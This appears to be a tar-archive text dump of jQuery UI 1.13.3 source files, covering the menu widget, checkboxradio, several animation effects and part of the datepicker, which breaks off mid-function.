this.expand( event ); } else { this.select( event ); } } }, refresh: function() { var menus, items, newSubmenus, newItems, newWrappers, that = this, icon = this.options.icons.submenu, submenus = this.element.find( this.options.menus ); this._toggleClass( "ui-menu-icons", null, !!this.element.find( ".ui-icon" ).length ); // Initialize nested menus newSubmenus = submenus.filter( ":not(.ui-menu)" ) .hide() .attr( { role: this.options.role, "aria-hidden": "true", "aria-expanded": "false" } ) .each( function() { var menu = $( this ), item = menu.prev(), submenuCaret = $( "<span>" ).data( "ui-menu-submenu-caret", true ); that._addClass( submenuCaret, "ui-menu-icon", "ui-icon " + icon ); item .attr( "aria-haspopup", "true" ) .prepend( submenuCaret ); menu.attr( "aria-labelledby", item.attr( "id" ) ); } ); this._addClass( newSubmenus, "ui-menu", "ui-widget ui-widget-content ui-front" ); menus = submenus.add( this.element ); items = menus.find( this.options.items ); // Initialize menu-items containing spaces and/or dashes only as dividers items.not( ".ui-menu-item" ).each( function() { var item = $( this ); if ( that._isDivider( item ) ) { that._addClass( item, "ui-menu-divider", "ui-widget-content" ); } } ); // Don't refresh list items that are already adapted newItems = items.not( ".ui-menu-item, .ui-menu-divider" ); newWrappers = newItems.children() .not( ".ui-menu" ) .uniqueId() .attr( { tabIndex: -1, role: this._itemRole() } ); this._addClass( newItems, "ui-menu-item" ) ._addClass( newWrappers, "ui-menu-item-wrapper" ); // Add aria-disabled attribute to any disabled menu item items.filter( ".ui-state-disabled" ).attr( "aria-disabled", "true" ); // If the active item has been removed, blur the menu if ( this.active && !$.contains( this.element[ 0 ], this.active[ 0 ] ) ) { this.blur(); } }, _itemRole: function() { return { menu: "menuitem", listbox: "option" }[ this.options.role ]; }, _setOption: function( key, value ) { if ( key === "icons" ) { var icons = this.element.find( ".ui-menu-icon" ); this._removeClass( icons, null, this.options.icons.submenu ) ._addClass( icons, null, value.submenu ); } this._super( key, value ); }, _setOptionDisabled: function( value ) { this._super( value ); this.element.attr( "aria-disabled", String( value ) ); this._toggleClass( null, "ui-state-disabled", !!value ); }, focus: function( event, item ) { var nested, focused, activeParent; this.blur( event, event && event.type === "focus" ); this._scrollIntoView( item ); this.active = item.first(); focused = this.active.children( ".ui-menu-item-wrapper" ); this._addClass( focused, null, "ui-state-active" ); // Only update aria-activedescendant if there's a role // otherwise we assume focus is managed elsewhere if ( this.options.role ) { this.element.attr( "aria-activedescendant", focused.attr( "id" ) ); } // Highlight active parent menu item, if any activeParent = this.active .parent() .closest( ".ui-menu-item" ) .children( ".ui-menu-item-wrapper" ); this._addClass( activeParent, null, "ui-state-active" ); if ( event && event.type === "keydown" ) { this._close(); } else { this.timer = this._delay( function() { this._close(); }, this.delay ); } nested = item.children( ".ui-menu" ); if ( nested.length && event && ( /^mouse/.test( event.type ) ) ) { this._startOpening( nested ); } this.activeMenu = item.parent(); this._trigger( "focus", event, { item: item } ); }, _scrollIntoView: function( item ) { var borderTop, paddingTop, offset, scroll, elementHeight, itemHeight; if ( this._hasScroll() ) { borderTop = parseFloat( $.css( this.activeMenu[ 0 ], "borderTopWidth" ) ) || 0; paddingTop = parseFloat( $.css( this.activeMenu[ 0 ], "paddingTop" ) ) || 0; offset = item.offset().top - this.activeMenu.offset().top - borderTop - paddingTop; scroll = this.activeMenu.scrollTop(); elementHeight = this.activeMenu.height(); itemHeight = item.outerHeight(); if ( offset < 0 ) { this.activeMenu.scrollTop( scroll + offset ); } else if ( offset + itemHeight > elementHeight ) { this.activeMenu.scrollTop( scroll + offset - elementHeight + itemHeight ); } } }, blur: function( event, fromFocus ) { if ( !fromFocus ) { clearTimeout( this.timer ); } if ( !this.active ) { return; } this._removeClass( this.active.children( ".ui-menu-item-wrapper" ), null, "ui-state-active" ); this._trigger( "blur", event, { item: this.active } ); this.active = null; }, _startOpening: function( submenu ) { clearTimeout( this.timer ); // Don't open if already open fixes a Firefox bug that caused a .5 pixel // shift in the submenu position when mousing over the caret icon if ( submenu.attr( "aria-hidden" ) !== "true" ) { return; } this.timer = this._delay( function() { this._close(); this._open( submenu ); }, this.delay ); }, _open: function( submenu ) { var position = $.extend( { of: this.active }, this.options.position ); clearTimeout( this.timer ); this.element.find( ".ui-menu" ).not( submenu.parents( ".ui-menu" ) ) .hide() .attr( "aria-hidden", "true" ); submenu .show() .removeAttr( "aria-hidden" ) .attr( "aria-expanded", "true" ) .position( position ); }, collapseAll: function( event, all ) { clearTimeout( this.timer ); this.timer = this._delay( function() { // If we were passed an event, look for the submenu that contains the event var currentMenu = all ? this.element : $( event && event.target ).closest( this.element.find( ".ui-menu" ) ); // If we found no valid submenu ancestor, use the main menu to close all // sub menus anyway if ( !currentMenu.length ) { currentMenu = this.element; } this._close( currentMenu ); this.blur( event ); // Work around active item staying active after menu is blurred this._removeClass( currentMenu.find( ".ui-state-active" ), null, "ui-state-active" ); this.activeMenu = currentMenu; }, all ? 0 : this.delay ); }, // With no arguments, closes the currently active menu - if nothing is active // it closes all menus. If passed an argument, it will search for menus BELOW _close: function( startMenu ) { if ( !startMenu ) { startMenu = this.active ? this.active.parent() : this.element; } startMenu.find( ".ui-menu" ) .hide() .attr( "aria-hidden", "true" ) .attr( "aria-expanded", "false" ); }, _closeOnDocumentClick: function( event ) { return !$( event.target ).closest( ".ui-menu" ).length; }, _isDivider: function( item ) { // Match hyphen, em dash, en dash return !/[^\-\u2014\u2013\s]/.test( item.text() ); }, collapse: function( event ) { var newItem = this.active && this.active.parent().closest( ".ui-menu-item", this.element ); if ( newItem && newItem.length ) { this._close(); this.focus( event, newItem ); } }, expand: function( event ) { var newItem = this.active && this._menuItems( this.active.children( ".ui-menu" ) ).first(); if ( newItem && newItem.length ) { this._open( newItem.parent() ); // Delay so Firefox will not hide activedescendant change in expanding submenu from AT this._delay( function() { this.focus( event, newItem ); } ); } }, next: function( event ) { this._move( "next", "first", event ); }, previous: function( event ) { this._move( "prev", "last", event ); }, isFirstItem: function() { return this.active && !this.active.prevAll( ".ui-menu-item" ).length; }, isLastItem: function() { return this.active && !this.active.nextAll( ".ui-menu-item" ).length; }, _menuItems: function( menu ) { return ( menu || this.element ) .find( this.options.items ) .filter( ".ui-menu-item" ); }, _move: function( direction, filter, event ) { var next; if ( this.active ) { if ( direction === "first" || direction === "last" ) { next = this.active [ direction === "first" ? "prevAll" : "nextAll" ]( ".ui-menu-item" ) .last(); } else { next = this.active [ direction + "All" ]( ".ui-menu-item" ) .first(); } } if ( !next || !next.length || !this.active ) { next = this._menuItems( this.activeMenu )[ filter ](); } this.focus( event, next ); }, nextPage: function( event ) { var item, base, height; if ( !this.active ) { this.next( event ); return; } if ( this.isLastItem() ) { return; } if ( this._hasScroll() ) { base = this.active.offset().top; height = this.element.innerHeight(); // jQuery 3.2 doesn't include scrollbars in innerHeight, add it back. if ( $.fn.jquery.indexOf( "3.2." ) === 0 ) { height += this.element[ 0 ].offsetHeight - this.element.outerHeight(); } this.active.nextAll( ".ui-menu-item" ).each( function() { item = $( this ); return item.offset().top - base - height < 0; } ); this.focus( event, item ); } else { this.focus( event, this._menuItems( this.activeMenu ) [ !this.active ? "first" : "last" ]() ); } }, previousPage: function( event ) { var item, base, height; if ( !this.active ) { this.next( event ); return; } if ( this.isFirstItem() ) { return; } if ( this._hasScroll() ) { base = this.active.offset().top; height = this.element.innerHeight(); // jQuery 3.2 doesn't include scrollbars in innerHeight, add it back. if ( $.fn.jquery.indexOf( "3.2." ) === 0 ) { height += this.element[ 0 ].offsetHeight - this.element.outerHeight(); } this.active.prevAll( ".ui-menu-item" ).each( function() { item = $( this ); return item.offset().top - base + height > 0; } ); this.focus( event, item ); } else { this.focus( event, this._menuItems( this.activeMenu ).first() ); } }, _hasScroll: function() { return this.element.outerHeight() < this.element.prop( "scrollHeight" ); }, select: function( event ) { // TODO: It should never be possible to not have an active item at this // point, but the tests don't trigger mouseenter before click. this.active = this.active || $( event.target ).closest( ".ui-menu-item" ); var ui = { item: this.active }; if ( !this.active.has( ".ui-menu" ).length ) { this.collapseAll( event, true ); } this._trigger( "select", event, ui ); }, _filterMenuItems: function( character ) { var escapedCharacter = character.replace( /[\-\[\]{}()*+?.,\\\^$|#\s]/g, "\\$&" ), regex = new RegExp( "^" + escapedCharacter, "i" ); return this.activeMenu .find( this.options.items ) // Only match on items, not dividers or other content (#10571) .filter( ".ui-menu-item" ) .filter( function() { return regex.test( String.prototype.trim.call( $( this ).children( ".ui-menu-item-wrapper" ).text() ) ); } ); } } ); } ); jquery/ui/effect-transfer.min.js 0000644 00000000672 15111757755 0012721 0 ustar 00 /*! * jQuery UI Effects Transfer 1.13.3 * https://jqueryui.com * * Copyright OpenJS Foundation and other contributors * Released under the MIT license. * https://jquery.org/license */ !function(e){"use strict";"function"==typeof define&&define.amd?define(["jquery","../version","../effect"],e):e(jQuery)}(function(t){"use strict";var e;return e=!1!==t.uiBackCompat?t.effects.define("transfer",function(e,n){t(this).transfer(e,n)}):e}); jquery/ui/checkboxradio.min.js 0000644 00000010374 15111757755 0012450 0 ustar 00 /*! * jQuery UI Checkboxradio 1.13.3 * https://jqueryui.com * * Copyright OpenJS Foundation and other contributors * Released under the MIT license. * https://jquery.org/license */ !function(e){"use strict";"function"==typeof define&&define.amd?define(["jquery","../form-reset-mixin","../labels","../widget"],e):e(jQuery)}(function(t){"use strict";return t.widget("ui.checkboxradio",[t.ui.formResetMixin,{version:"1.13.3",options:{disabled:null,label:null,icon:!0,classes:{"ui-checkboxradio-label":"ui-corner-all","ui-checkboxradio-icon":"ui-corner-all"}},_getCreateOptions:function(){var e,i=this._super()||{};return this._readType(),e=this.element.labels(),this.label=t(e[e.length-1]),this.label.length||t.error("No label found for checkboxradio widget"),this.originalLabel="",(e=this.label.contents().not(this.element[0])).length&&(this.originalLabel+=e.clone().wrapAll("<div></div>").parent().html()),this.originalLabel&&(i.label=this.originalLabel),null!=(e=this.element[0].disabled)&&(i.disabled=e),i},_create:function(){var e=this.element[0].checked;this._bindFormResetHandler(),null==this.options.disabled&&(this.options.disabled=this.element[0].disabled),this._setOption("disabled",this.options.disabled),this._addClass("ui-checkboxradio","ui-helper-hidden-accessible"),this._addClass(this.label,"ui-checkboxradio-label","ui-button ui-widget"),"radio"===this.type&&this._addClass(this.label,"ui-checkboxradio-radio-label"),this.options.label&&this.options.label!==this.originalLabel?this._updateLabel():this.originalLabel&&(this.options.label=this.originalLabel),this._enhance(),e&&this._addClass(this.label,"ui-checkboxradio-checked","ui-state-active"),this._on({change:"_toggleClasses",focus:function(){this._addClass(this.label,null,"ui-state-focus ui-visual-focus")},blur:function(){this._removeClass(this.label,null,"ui-state-focus ui-visual-focus")}})},_readType:function(){var e=this.element[0].nodeName.toLowerCase();this.type=this.element[0].type,"input"===e&&/radio|checkbox/.test(this.type)||t.error("Can't create checkboxradio on element.nodeName="+e+" and element.type="+this.type)},_enhance:function(){this._updateIcon(this.element[0].checked)},widget:function(){return this.label},_getRadioGroup:function(){var e=this.element[0].name,i="input[name='"+t.escapeSelector(e)+"']";return e?(this.form.length?t(this.form[0].elements).filter(i):t(i).filter(function(){return 0===t(this)._form().length})).not(this.element):t([])},_toggleClasses:function(){var e=this.element[0].checked;this._toggleClass(this.label,"ui-checkboxradio-checked","ui-state-active",e),this.options.icon&&"checkbox"===this.type&&this._toggleClass(this.icon,null,"ui-icon-check ui-state-checked",e)._toggleClass(this.icon,null,"ui-icon-blank",!e),"radio"===this.type&&this._getRadioGroup().each(function(){var e=t(this).checkboxradio("instance");e&&e._removeClass(e.label,"ui-checkboxradio-checked","ui-state-active")})},_destroy:function(){this._unbindFormResetHandler(),this.icon&&(this.icon.remove(),this.iconSpace.remove())},_setOption:function(e,i){"label"===e&&!i||(this._super(e,i),"disabled"===e?(this._toggleClass(this.label,null,"ui-state-disabled",i),this.element[0].disabled=i):this.refresh())},_updateIcon:function(e){var i="ui-icon ui-icon-background ";this.options.icon?(this.icon||(this.icon=t("<span>"),this.iconSpace=t("<span> </span>"),this._addClass(this.iconSpace,"ui-checkboxradio-icon-space")),"checkbox"===this.type?(i+=e?"ui-icon-check ui-state-checked":"ui-icon-blank",this._removeClass(this.icon,null,e?"ui-icon-blank":"ui-icon-check")):i+="ui-icon-blank",this._addClass(this.icon,"ui-checkboxradio-icon",i),e||this._removeClass(this.icon,null,"ui-icon-check ui-state-checked"),this.icon.prependTo(this.label).after(this.iconSpace)):void 0!==this.icon&&(this.icon.remove(),this.iconSpace.remove(),delete this.icon)},_updateLabel:function(){var e=this.label.contents().not(this.element[0]);this.icon&&(e=e.not(this.icon[0])),(e=this.iconSpace?e.not(this.iconSpace[0]):e).remove(),this.label.append(this.options.label)},refresh:function(){var e=this.element[0].checked,i=this.element[0].disabled;this._updateIcon(e),this._toggleClass(this.label,"ui-checkboxradio-checked","ui-state-active",e),null!==this.options.label&&this._updateLabel(),i!==this.options.disabled&&this._setOptions({disabled:i})}}]),t.ui.checkboxradio}); jquery/ui/effect-drop.min.js 0000644 00000001361 15111757755 0012035 0 ustar 00 /*! * jQuery UI Effects Drop 1.13.3 * https://jqueryui.com * * Copyright OpenJS Foundation and other contributors * Released under the MIT license. * https://jquery.org/license */ !function(e){"use strict";"function"==typeof define&&define.amd?define(["jquery","../version","../effect"],e):e(jQuery)}(function(d){"use strict";return d.effects.define("drop","hide",function(e,t){var i,n=d(this),o="show"===e.mode,f=e.direction||"left",c="up"===f||"down"===f?"top":"left",f="up"===f||"left"===f?"-=":"+=",u="+="==f?"-=":"+=",r={opacity:0};d.effects.createPlaceholder(n),i=e.distance||n["top"==c?"outerHeight":"outerWidth"](!0)/2,r[c]=f+i,o&&(n.css(r),r[c]=u+i,r.opacity=1),n.animate(r,{queue:!1,duration:e.duration,easing:e.easing,complete:t})})}); jquery/ui/effect-slide.min.js 0000644 00000001625 15111757755 0012174 0 ustar 00 /*! * jQuery UI Effects Slide 1.13.3 * https://jqueryui.com * * Copyright OpenJS Foundation and other contributors * Released under the MIT license. * https://jquery.org/license */ !function(e){"use strict";"function"==typeof define&&define.amd?define(["jquery","../version","../effect"],e):e(jQuery)}(function(d){"use strict";return d.effects.define("slide","show",function(e,t){var i,o,n=d(this),c={up:["bottom","top"],down:["top","bottom"],left:["right","left"],right:["left","right"]},s=e.mode,f=e.direction||"left",l="up"===f||"down"===f?"top":"left",p="up"===f||"left"===f,r=e.distance||n["top"==l?"outerHeight":"outerWidth"](!0),u={};d.effects.createPlaceholder(n),i=n.cssClip(),o=n.position()[l],u[l]=(p?-1:1)*r+o,u.clip=n.cssClip(),u.clip[c[f][1]]=u.clip[c[f][0]],"show"===s&&(n.cssClip(u.clip),n.css(l,u[l]),u.clip=i,u[l]=o),n.animate(u,{queue:!1,duration:e.duration,easing:e.easing,complete:t})})}); jquery/ui/datepicker.min.js 0000644 00000107614 15111757755 0011762 0 ustar 00 /*! * jQuery UI Datepicker 1.13.3 * https://jqueryui.com * * Copyright OpenJS Foundation and other contributors * Released under the MIT license. * https://jquery.org/license */ !function(e){"use strict";"function"==typeof define&&define.amd?define(["jquery","../version","../keycode"],e):e(jQuery)}(function(V){"use strict";var n;function e(){this._curInst=null,this._keyEvent=!1,this._disabledInputs=[],this._datepickerShowing=!1,this._inDialog=!1,this._mainDivId="ui-datepicker-div",this._inlineClass="ui-datepicker-inline",this._appendClass="ui-datepicker-append",this._triggerClass="ui-datepicker-trigger",this._dialogClass="ui-datepicker-dialog",this._disableClass="ui-datepicker-disabled",this._unselectableClass="ui-datepicker-unselectable",this._currentClass="ui-datepicker-current-day",this._dayOverClass="ui-datepicker-days-cell-over",this.regional=[],this.regional[""]={closeText:"Done",prevText:"Prev",nextText:"Next",currentText:"Today",monthNames:["January","February","March","April","May","June","July","August","September","October","November","December"],monthNamesShort:["Jan","Feb","Mar","Apr","May","Jun","Jul","Aug","Sep","Oct","Nov","Dec"],dayNames:["Sunday","Monday","Tuesday","Wednesday","Thursday","Friday","Saturday"],dayNamesShort:["Sun","Mon","Tue","Wed","Thu","Fri","Sat"],dayNamesMin:["Su","Mo","Tu","We","Th","Fr","Sa"],weekHeader:"Wk",dateFormat:"mm/dd/yy",firstDay:0,isRTL:!1,showMonthAfterYear:!1,yearSuffix:"",selectMonthLabel:"Select month",selectYearLabel:"Select year"},this._defaults={showOn:"focus",showAnim:"fadeIn",showOptions:{},defaultDate:null,appendText:"",buttonText:"...",buttonImage:"",buttonImageOnly:!1,hideIfNoPrevNext:!1,navigationAsDateFormat:!1,gotoCurrent:!1,changeMonth:!1,changeYear:!1,yearRange:"c-10:c+10",showOtherMonths:!1,selectOtherMonths:!1,showWeek:!1,calculateWeek:this.iso8601Week,shortYearCutoff:"+10",minDate:null,maxDate:null,duration:"fast",beforeShowDay:null,beforeShow:null,onSelect:null,onChangeMonthYear:null,onClose:null,onUpdateDatepicker:null,numberOfMonths:1,showCurrentAtPos:0,stepMonths:1,stepBigMonths:12,altField:"",altFormat:"",constrainInput:!0,showButtonPanel:!1,autoSize:!1,disabled:!1},V.extend(this._defaults,this.regional[""]),this.regional.en=V.extend(!0,{},this.regional[""]),this.regional["en-US"]=V.extend(!0,{},this.regional.en),this.dpDiv=a(V("<div id='"+this._mainDivId+"' class='ui-datepicker ui-widget ui-widget-content ui-helper-clearfix ui-corner-all'></div>"))}function a(e){var t="button, .ui-datepicker-prev, .ui-datepicker-next, .ui-datepicker-calendar td a";return e.on("mouseout",t,function(){V(this).removeClass("ui-state-hover"),-1!==this.className.indexOf("ui-datepicker-prev")&&V(this).removeClass("ui-datepicker-prev-hover"),-1!==this.className.indexOf("ui-datepicker-next")&&V(this).removeClass("ui-datepicker-next-hover")}).on("mouseover",t,d)}function d(){V.datepicker._isDisabledDatepicker((n.inline?n.dpDiv.parent():n.input)[0])||(V(this).parents(".ui-datepicker-calendar").find("a").removeClass("ui-state-hover"),V(this).addClass("ui-state-hover"),-1!==this.className.indexOf("ui-datepicker-prev")&&V(this).addClass("ui-datepicker-prev-hover"),-1!==this.className.indexOf("ui-datepicker-next")&&V(this).addClass("ui-datepicker-next-hover"))}function c(e,t){for(var a in V.extend(e,t),t)null==t[a]&&(e[a]=t[a])}return V.extend(V.ui,{datepicker:{version:"1.13.3"}}),V.extend(e.prototype,{markerClassName:"hasDatepicker",maxRows:4,_widgetDatepicker:function(){return this.dpDiv},setDefaults:function(e){return c(this._defaults,e||{}),this},_attachDatepicker:function(e,t){var a,i=e.nodeName.toLowerCase(),s="div"===i||"span"===i;e.id||(this.uuid+=1,e.id="dp"+this.uuid),(a=this._newInst(V(e),s)).settings=V.extend({},t||{}),"input"===i?this._connectDatepicker(e,a):s&&this._inlineDatepicker(e,a)},_newInst:function(e,t){return{id:e[0].id.replace(/([^A-Za-z0-9_\-])/g,"\\\\$1"),input:e,selectedDay:0,selectedMonth:0,selectedYear:0,drawMonth:0,drawYear:0,inline:t,dpDiv:t?a(V("<div class='"+this._inlineClass+" ui-datepicker ui-widget ui-widget-content ui-helper-clearfix ui-corner-all'></div>")):this.dpDiv}},_connectDatepicker:function(e,t){var a=V(e);t.append=V([]),t.trigger=V([]),a.hasClass(this.markerClassName)||(this._attachments(a,t),a.addClass(this.markerClassName).on("keydown",this._doKeyDown).on("keypress",this._doKeyPress).on("keyup",this._doKeyUp),this._autoSize(t),V.data(e,"datepicker",t),t.settings.disabled&&this._disableDatepicker(e))},_attachments:function(e,t){var a,i=this._get(t,"appendText"),s=this._get(t,"isRTL");t.append&&t.append.remove(),i&&(t.append=V("<span>").addClass(this._appendClass).text(i),e[s?"before":"after"](t.append)),e.off("focus",this._showDatepicker),t.trigger&&t.trigger.remove(),"focus"!==(i=this._get(t,"showOn"))&&"both"!==i||e.on("focus",this._showDatepicker),"button"!==i&&"both"!==i||(i=this._get(t,"buttonText"),a=this._get(t,"buttonImage"),this._get(t,"buttonImageOnly")?t.trigger=V("<img>").addClass(this._triggerClass).attr({src:a,alt:i,title:i}):(t.trigger=V("<button type='button'>").addClass(this._triggerClass),a?t.trigger.html(V("<img>").attr({src:a,alt:i,title:i})):t.trigger.text(i)),e[s?"before":"after"](t.trigger),t.trigger.on("click",function(){return V.datepicker._datepickerShowing&&V.datepicker._lastInput===e[0]?V.datepicker._hideDatepicker():(V.datepicker._datepickerShowing&&V.datepicker._lastInput!==e[0]&&V.datepicker._hideDatepicker(),V.datepicker._showDatepicker(e[0])),!1}))},_autoSize:function(e){var t,a,i,s,r,n;this._get(e,"autoSize")&&!e.inline&&(r=new Date(2009,11,20),(n=this._get(e,"dateFormat")).match(/[DM]/)&&(r.setMonth((t=function(e){for(s=i=a=0;s<e.length;s++)e[s].length>a&&(a=e[s].length,i=s);return i})(this._get(e,n.match(/MM/)?"monthNames":"monthNamesShort"))),r.setDate(t(this._get(e,n.match(/DD/)?"dayNames":"dayNamesShort"))+20-r.getDay())),e.input.attr("size",this._formatDate(e,r).length))},_inlineDatepicker:function(e,t){var a=V(e);a.hasClass(this.markerClassName)||(a.addClass(this.markerClassName).append(t.dpDiv),V.data(e,"datepicker",t),this._setDate(t,this._getDefaultDate(t),!0),this._updateDatepicker(t),this._updateAlternate(t),t.settings.disabled&&this._disableDatepicker(e),t.dpDiv.css("display","block"))},_dialogDatepicker:function(e,t,a,i,s){var r,n=this._dialogInst;return n||(this.uuid+=1,r="dp"+this.uuid,this._dialogInput=V("<input type='text' id='"+r+"' style='position: absolute; top: -100px; width: 0px;'/>"),this._dialogInput.on("keydown",this._doKeyDown),V("body").append(this._dialogInput),(n=this._dialogInst=this._newInst(this._dialogInput,!1)).settings={},V.data(this._dialogInput[0],"datepicker",n)),c(n.settings,i||{}),t=t&&t.constructor===Date?this._formatDate(n,t):t,this._dialogInput.val(t),this._pos=s?s.length?s:[s.pageX,s.pageY]:null,this._pos||(r=document.documentElement.clientWidth,i=document.documentElement.clientHeight,t=document.documentElement.scrollLeft||document.body.scrollLeft,s=document.documentElement.scrollTop||document.body.scrollTop,this._pos=[r/2-100+t,i/2-150+s]),this._dialogInput.css("left",this._pos[0]+20+"px").css("top",this._pos[1]+"px"),n.settings.onSelect=a,this._inDialog=!0,this.dpDiv.addClass(this._dialogClass),this._showDatepicker(this._dialogInput[0]),V.blockUI&&V.blockUI(this.dpDiv),V.data(this._dialogInput[0],"datepicker",n),this},_destroyDatepicker:function(e){var t,a=V(e),i=V.data(e,"datepicker");a.hasClass(this.markerClassName)&&(t=e.nodeName.toLowerCase(),V.removeData(e,"datepicker"),"input"===t?(i.append.remove(),i.trigger.remove(),a.removeClass(this.markerClassName).off("focus",this._showDatepicker).off("keydown",this._doKeyDown).off("keypress",this._doKeyPress).off("keyup",this._doKeyUp)):"div"!==t&&"span"!==t||a.removeClass(this.markerClassName).empty(),n===i)&&(n=null,this._curInst=null)},_enableDatepicker:function(t){var e,a=V(t),i=V.data(t,"datepicker");a.hasClass(this.markerClassName)&&("input"===(e=t.nodeName.toLowerCase())?(t.disabled=!1,i.trigger.filter("button").each(function(){this.disabled=!1}).end().filter("img").css({opacity:"1.0",cursor:""})):"div"!==e&&"span"!==e||((i=a.children("."+this._inlineClass)).children().removeClass("ui-state-disabled"),i.find("select.ui-datepicker-month, select.ui-datepicker-year").prop("disabled",!1)),this._disabledInputs=V.map(this._disabledInputs,function(e){return e===t?null:e}))},_disableDatepicker:function(t){var e,a=V(t),i=V.data(t,"datepicker");a.hasClass(this.markerClassName)&&("input"===(e=t.nodeName.toLowerCase())?(t.disabled=!0,i.trigger.filter("button").each(function(){this.disabled=!0}).end().filter("img").css({opacity:"0.5",cursor:"default"})):"div"!==e&&"span"!==e||((i=a.children("."+this._inlineClass)).children().addClass("ui-state-disabled"),i.find("select.ui-datepicker-month, select.ui-datepicker-year").prop("disabled",!0)),this._disabledInputs=V.map(this._disabledInputs,function(e){return e===t?null:e}),this._disabledInputs[this._disabledInputs.length]=t)},_isDisabledDatepicker:function(e){if(e)for(var t=0;t<this._disabledInputs.length;t++)if(this._disabledInputs[t]===e)return!0;return!1},_getInst:function(e){try{return V.data(e,"datepicker")}catch(e){throw"Missing instance data for this datepicker"}},_optionDatepicker:function(e,t,a){var i,s,r=this._getInst(e);if(2===arguments.length&&"string"==typeof t)return"defaults"===t?V.extend({},V.datepicker._defaults):r?"all"===t?V.extend({},r.settings):this._get(r,t):null;i=t||{},"string"==typeof t&&((i={})[t]=a),r&&(this._curInst===r&&this._hideDatepicker(),t=this._getDateDatepicker(e,!0),a=this._getMinMaxDate(r,"min"),s=this._getMinMaxDate(r,"max"),c(r.settings,i),null!==a&&void 0!==i.dateFormat&&void 0===i.minDate&&(r.settings.minDate=this._formatDate(r,a)),null!==s&&void 0!==i.dateFormat&&void 0===i.maxDate&&(r.settings.maxDate=this._formatDate(r,s)),"disabled"in i&&(i.disabled?this._disableDatepicker(e):this._enableDatepicker(e)),this._attachments(V(e),r),this._autoSize(r),this._setDate(r,t),this._updateAlternate(r),this._updateDatepicker(r))},_changeDatepicker:function(e,t,a){this._optionDatepicker(e,t,a)},_refreshDatepicker:function(e){e=this._getInst(e);e&&this._updateDatepicker(e)},_setDateDatepicker:function(e,t){e=this._getInst(e);e&&(this._setDate(e,t),this._updateDatepicker(e),this._updateAlternate(e))},_getDateDatepicker:function(e,t){e=this._getInst(e);return e&&!e.inline&&this._setDateFromField(e,t),e?this._getDate(e):null},_doKeyDown:function(e){var t,a,i=V.datepicker._getInst(e.target),s=!0,r=i.dpDiv.is(".ui-datepicker-rtl");if(i._keyEvent=!0,V.datepicker._datepickerShowing)switch(e.keyCode){case 9:V.datepicker._hideDatepicker(),s=!1;break;case 13:return(a=V("td."+V.datepicker._dayOverClass+":not(."+V.datepicker._currentClass+")",i.dpDiv))[0]&&V.datepicker._selectDay(e.target,i.selectedMonth,i.selectedYear,a[0]),(a=V.datepicker._get(i,"onSelect"))?(t=V.datepicker._formatDate(i),a.apply(i.input?i.input[0]:null,[t,i])):V.datepicker._hideDatepicker(),!1;case 27:V.datepicker._hideDatepicker();break;case 33:V.datepicker._adjustDate(e.target,e.ctrlKey?-V.datepicker._get(i,"stepBigMonths"):-V.datepicker._get(i,"stepMonths"),"M");break;case 34:V.datepicker._adjustDate(e.target,e.ctrlKey?+V.datepicker._get(i,"stepBigMonths"):+V.datepicker._get(i,"stepMonths"),"M");break;case 35:(e.ctrlKey||e.metaKey)&&V.datepicker._clearDate(e.target),s=e.ctrlKey||e.metaKey;break;case 36:(e.ctrlKey||e.metaKey)&&V.datepicker._gotoToday(e.target),s=e.ctrlKey||e.metaKey;break;case 37:(e.ctrlKey||e.metaKey)&&V.datepicker._adjustDate(e.target,r?1:-1,"D"),s=e.ctrlKey||e.metaKey,e.originalEvent.altKey&&V.datepicker._adjustDate(e.target,e.ctrlKey?-V.datepicker._get(i,"stepBigMonths"):-V.datepicker._get(i,"stepMonths"),"M");break;case 38:(e.ctrlKey||e.metaKey)&&V.datepicker._adjustDate(e.target,-7,"D"),s=e.ctrlKey||e.metaKey;break;case 39:(e.ctrlKey||e.metaKey)&&V.datepicker._adjustDate(e.target,r?-1:1,"D"),s=e.ctrlKey||e.metaKey,e.originalEvent.altKey&&V.datepicker._adjustDate(e.target,e.ctrlKey?+V.datepicker._get(i,"stepBigMonths"):+V.datepicker._get(i,"stepMonths"),"M");break;case 40:(e.ctrlKey||e.metaKey)&&V.datepicker._adjustDate(e.target,7,"D"),s=e.ctrlKey||e.metaKey;break;default:s=!1}else 36===e.keyCode&&e.ctrlKey?V.datepicker._showDatepicker(this):s=!1;s&&(e.preventDefault(),e.stopPropagation())},_doKeyPress:function(e){var t,a=V.datepicker._getInst(e.target);if(V.datepicker._get(a,"constrainInput"))return a=V.datepicker._possibleChars(V.datepicker._get(a,"dateFormat")),t=String.fromCharCode(null==e.charCode?e.keyCode:e.charCode),e.ctrlKey||e.metaKey||t<" "||!a||-1<a.indexOf(t)},_doKeyUp:function(e){e=V.datepicker._getInst(e.target);if(e.input.val()!==e.lastVal)try{V.datepicker.parseDate(V.datepicker._get(e,"dateFormat"),e.input?e.input.val():null,V.datepicker._getFormatConfig(e))&&(V.datepicker._setDateFromField(e),V.datepicker._updateAlternate(e),V.datepicker._updateDatepicker(e))}catch(e){}return!0},_showDatepicker:function(e){var t,a,i,s;"input"!==(e=e.target||e).nodeName.toLowerCase()&&(e=V("input",e.parentNode)[0]),V.datepicker._isDisabledDatepicker(e)||V.datepicker._lastInput===e||(s=V.datepicker._getInst(e),V.datepicker._curInst&&V.datepicker._curInst!==s&&(V.datepicker._curInst.dpDiv.stop(!0,!0),s)&&V.datepicker._datepickerShowing&&V.datepicker._hideDatepicker(V.datepicker._curInst.input[0]),!1===(a=(a=V.datepicker._get(s,"beforeShow"))?a.apply(e,[e,s]):{}))||(c(s.settings,a),s.lastVal=null,V.datepicker._lastInput=e,V.datepicker._setDateFromField(s),V.datepicker._inDialog&&(e.value=""),V.datepicker._pos||(V.datepicker._pos=V.datepicker._findPos(e),V.datepicker._pos[1]+=e.offsetHeight),t=!1,V(e).parents().each(function(){return!(t|="fixed"===V(this).css("position"))}),a={left:V.datepicker._pos[0],top:V.datepicker._pos[1]},V.datepicker._pos=null,s.dpDiv.empty(),s.dpDiv.css({position:"absolute",display:"block",top:"-1000px"}),V.datepicker._updateDatepicker(s),a=V.datepicker._checkOffset(s,a,t),s.dpDiv.css({position:V.datepicker._inDialog&&V.blockUI?"static":t?"fixed":"absolute",display:"none",left:a.left+"px",top:a.top+"px"}),s.inline)||(a=V.datepicker._get(s,"showAnim"),i=V.datepicker._get(s,"duration"),s.dpDiv.css("z-index",function(e){for(var t;e.length&&e[0]!==document;){if(("absolute"===(t=e.css("position"))||"relative"===t||"fixed"===t)&&(t=parseInt(e.css("zIndex"),10),!isNaN(t))&&0!==t)return t;e=e.parent()}return 